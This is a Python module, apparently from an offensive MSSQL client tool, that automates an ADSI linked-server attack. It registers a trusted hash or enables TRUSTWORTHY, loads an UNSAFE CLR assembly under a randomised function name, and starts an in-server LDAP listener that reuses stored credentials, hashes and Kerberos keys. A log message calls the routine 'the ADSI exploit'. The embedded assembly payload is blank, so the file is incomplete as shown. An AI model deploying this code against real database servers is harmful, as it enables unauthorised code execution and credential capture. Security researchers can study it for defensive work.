# mssqlclient_ng/core/services/adsi.py

# Built-in imports
import asyncio
from typing import Optional, List, Dict, Any

# Third party imports
from loguru import logger

# Local library imports
from ..utils import common


class AdsiService:
    """
    Service for managing ADSI-linked servers and LDAP server assembly operations.
    """

    def __init__(self, database_context):
        """
        Initialize the ADSI service.

        Args:
            database_context: The database context containing query, config, and auth services
        """
        self._database_context = database_context
        self.port = common.get_random_unused_port()
        self.assembly_name = "ldapServer"
        self.function_name = f"f_{common.generate_random_string(8)}"
        self.library_path = f"l_{common.generate_random_string(8)}"

    def list_adsi_servers(self) -> Optional[List[str]]:
        """
        List all ADSI linked servers.

        Returns:
            A list of ADSI server names, or None if none found
        """
        try:
            query = "SELECT srvname FROM master..sysservers WHERE srvproduct = 'ADSI'"
            result = self._database_context.query_service.execute_table(query)

            if not result:
                return None

            # Extract server names from the result
            server_names = [row.get("srvname") for row in result if row.get("srvname")]
            return server_names if server_names else None

        except Exception as e:
            logger.error(f"Error while listing ADSI servers: {e}")
            return None

    def adsi_server_exists(self, server_name: str) -> bool:
        """
        Check if an ADSI linked server exists.

        Args:
            server_name: The name of the ADSI server to check

        Returns:
            True if the server exists and is an ADSI provider; otherwise False
        """
        adsi_servers = self.list_adsi_servers()
        if adsi_servers is None:
            return False

        return any(srv.lower() == server_name.lower() for srv in adsi_servers)

    def check_linked_server(self, linked_server_name: str) -> bool:
        """
        Check if a linked server exists and has the correct ADSDSOObject provider.

        Args:
            linked_server_name: The name of the linked server to check

        Returns:
            True if the linked server exists and is properly configured; otherwise False
        """
        try:
            # Retrieve the list of linked servers
            result = self._database_context.query_service.execute_table(
                "EXEC sp_linkedservers;"
            )

            # Check if the linked server exists and has the correct provider
            for row in result:
                # First column (srv_name), second column (srv_providername)
                srv_name = list(row.values())[0] if row else None
                srv_provider_name = (
                    list(row.values())[1] if len(row.values()) > 1 else None
                )

                if srv_name and srv_name.lower() == linked_server_name.lower():
                    if (
                        srv_provider_name
                        and srv_provider_name.lower() == "adsdsdobject"
                    ):
                        # Linked server exists and is properly configured
                        return True
                    else:
                        # Linked server exists but has an incorrect provider
                        logger.error(
                            f"Linked server '{linked_server_name}' exists, but the provider is "
                            f"'{srv_provider_name}' instead of 'ADSDSOObject'"
                        )
                        return False

            # If no matching linked server was found
            logger.error(f"Linked server '{linked_server_name}' does not exist")
            return False

        except Exception as e:
            logger.error(f"Error while checking linked server: {e}")
            return False

    def create_adsi_linked_server(
        self, server_name: str, data_source: str = "localhost"
    ) -> bool:
        """
        Create an ADSI-linked server.

        Args:
            server_name: The name of the linked server to create
            data_source: The data source for the linked server (default: "localhost")

        Returns:
            True if the linked server was created successfully; otherwise False
        """
        query = f"""
            EXEC sp_addlinkedserver
                @server = '{server_name}',
                @srvproduct = 'ADSI',
                @provider = 'ADSDSOObject',
                @datasrc = '{data_source}';
        """

        try:
            self._database_context.query_service.execute_non_processing(query)
            return True
        except Exception as e:
            logger.error(f"Error while creating linked server: {e}")
            return False

    def drop_linked_server(self, server_name: str) -> None:
        """
        Drop a linked server.

        Args:
            server_name: The name of the linked server to drop
        """
        self._database_context.query_service.execute_non_processing(
            f"EXEC sp_dropserver @server = '{server_name}';"
        )

    async def listen_for_request(self) -> Optional[List[Dict[str, Any]]]:
        """
        Start a listener for LDAP requests asynchronously.

        Returns:
            Query results from the LDAP listener, or None if an error occurred
        """
        loop = asyncio.get_event_loop()
        return await loop.run_in_executor(None, self._listen_sync)

    def _listen_sync(self) -> Optional[List[Dict[str, Any]]]:
        """
        Synchronous implementation of the LDAP listener.

        Returns:
            Query results from the LDAP listener, or None if an error occurred
        """
        try:
            # Create a new SQL connection for the listener
            from impacket.tds import MSSQL

            listener_connection = MSSQL(
                address=self._database_context.server.hostname,
                port=self._database_context.server.port,
                remoteName=self._database_context.server.hostname,
            )

            # Establish connection
            if not listener_connection.connect():
                logger.error("Failed to establish listener connection")
                return None

            # Authenticate using stored credentials
            auth_success = self._authenticate_listener(listener_connection)
            if not auth_success:
                logger.error("Failed to authenticate listener connection")
                listener_connection.disconnect()
                return None

            # Create a temporary query service for the listener connection
            from .query import QueryService

            temp_query_service = QueryService(listener_connection)

            logger.info(
                f"Starting a local LDAP server on port {self.port} using function '{self.function_name}'"
            )

            try:
                # Execute the LDAP listener query
                result = temp_query_service.execute_table(
                    f"SELECT [dbo].[{self.function_name}]({self.port}, 8);"
                )
                return result
            except Exception:
                # Could happen if the query times out
                return None
            finally:
                listener_connection.disconnect()

        except Exception as e:
            logger.error(f"Error while running LDAP server: {e}")
            return None

    def _authenticate_listener(self, connection) -> bool:
        """
        Authenticate a listener connection using stored credentials.

        Args:
            connection: The MSSQL connection to authenticate

        Returns:
            True if authentication succeeded; otherwise False
        """
        # Access authentication parameters from the database context
        auth_service = self._database_context.auth_service

        try:
            if auth_service._kerberos_auth:
                success = connection.kerberosLogin(
                    database=auth_service._database,
                    username=auth_service._username,
                    password=auth_service._password or "",
                    domain=auth_service._domain or "",
                    hashes=auth_service._hashes,
                    aesKey=auth_service._aes_key or "",
                    kdcHost=auth_service._kdc_host,
                )
            else:
                success = connection.login(
                    database=auth_service._database,
                    username=auth_service._username or "",
                    password=auth_service._password or "",
                    domain=auth_service._domain or "",
                    hashes=auth_service._hashes,
                    useWindowsAuth=auth_service._use_windows_auth,
                )
            return success
        except Exception as e:
            logger.error(f"Listener authentication error: {e}")
            return False

    def load_ldap_server_assembly(self) -> bool:
        """
        Load the LDAP server CLR assembly into SQL Server.

        Returns:
            True if the assembly was loaded successfully; otherwise False
        """
        # Obtain the LDAP server assembly in SQL byte format, along with the hash
        library_hex_bytes, library_hash = self._get_ldap_server_assembly()

        logger.info("Deploying the LDAP server assembly")
        logger.info(f"Assembly name: {self.assembly_name}")
        logger.info(f"Function name: {self.function_name}")
        logger.info(f"Library name: {self.library_path}")

        drop_function = f"DROP FUNCTION IF EXISTS [{self.function_name}];"
        drop_assembly = f"DROP ASSEMBLY IF EXISTS [{self.assembly_name}];"
        drop_clr_hash = f"EXEC sp_drop_trusted_assembly 0x{library_hash};"

        try:
            if self._database_context.server.legacy:
                logger.info("Legacy server detected. Enabling TRUSTWORTHY property")
                self._database_context.query_service.execute_non_processing(
                    f"ALTER DATABASE {self._database_context.server.database} SET TRUSTWORTHY ON;"
                )
            else:
                if not self._database_context.config_service.register_trusted_assembly(
                    library_hash, self.library_path
                ):
                    logger.error(
                        "Failed to register trusted assembly. Aborting execution."
                    )
                    return False

            # Drop existing objects
            self._database_context.config_service.drop_dependent_objects(
                self.assembly_name
            )
            self._database_context.query_service.execute_non_processing(drop_function)
            self._database_context.query_service.execute_non_processing(drop_assembly)

            # Deploy the assembly
            logger.info("Deploying the LDAP server assembly")
            self._database_context.query_service.execute_non_processing(
                f"CREATE ASSEMBLY [{self.assembly_name}] AUTHORIZATION [dbo] "
                f"FROM 0x{library_hex_bytes} WITH PERMISSION_SET = UNSAFE;"
            )

            # Check if the assembly was successfully deployed
            if not self._database_context.config_service.check_assembly(
                self.assembly_name
            ):
                logger.error(
                    f"Failed to create assembly '{self.assembly_name}'. "
                    "It might not have been loaded correctly."
                )
                self._database_context.query_service.execute_non_processing(
                    drop_clr_hash
                )
                return False

            logger.success(
                f"LDAP server assembly '{self.assembly_name}' created successfully"
            )

            # Create the function
            logger.info("Creating the LDAP server function")
            self._database_context.query_service.execute_non_processing(
                f"CREATE FUNCTION [dbo].[{self.function_name}](@port int, @timeoutSeconds int) "
                f"RETURNS NVARCHAR(MAX) AS EXTERNAL NAME {self.assembly_name}.[ldapAssembly.LdapSrv].Listen;"
            )

            if not self._database_context.config_service.check_assembly_modules(
                "ldapsrv"
            ):
                logger.error("Failed to create the LDAP server function")
                self._database_context.query_service.execute_non_processing(
                    drop_function
                )
                self._database_context.query_service.execute_non_processing(
                    drop_assembly
                )
                self._database_context.query_service.execute_non_processing(
                    drop_clr_hash
                )
                return False

            logger.success(
                f"LDAP server function '{self.function_name}' created successfully"
            )
            return True

        except Exception as e:
            logger.error(f"Error occurred during the ADSI exploit: {e}")
            logger.info(
                f"Deleting LDAP server assembly '{self.assembly_name}', "
                f"function '{self.function_name}' and trusted assembly hash"
            )
            self._database_context.query_service.execute_non_processing(drop_function)
            self._database_context.query_service.execute_non_processing(drop_assembly)
            self._database_context.query_service.execute_non_processing(drop_clr_hash)
            return False

        finally:
            # Reset TRUSTWORTHY property for legacy servers
            if self._database_context.server.legacy:
                logger.info("Resetting TRUSTWORTHY property")
                self._database_context.query_service.execute_non_processing(
                    f"ALTER DATABASE {self._database_context.server.database} SET TRUSTWORTHY OFF;"
                )

    def _get_ldap_server_assembly(self) -> tuple[str, str]:
        """
        Get the LDAP server assembly in SQL byte format and its SHA-512 hash.

        Returns:
            Tuple of (assembly_hex_bytes, assembly_hash)
        """

        compressed_base64 = " "

        # Decode and decompress back to original bytes
        decompressed_bytes = common.decode_and_decompress(compressed_base64)
        decompressed_hex = common.bytes_to_hex_string(decompressed_bytes)

        # SHA-512 hash for the LDAP server .NET assembly in SQL byte format
        library_hash = "B9B9B219F78283AF6F85EA2186373278FBA7C8B1FCF481638A5D40BD376BB686359BF5EB5C35AE179BEA87BA501AD62CD62771B53515AB40A30283EE85635E6D"

        return (decompressed_hex, library_hash)
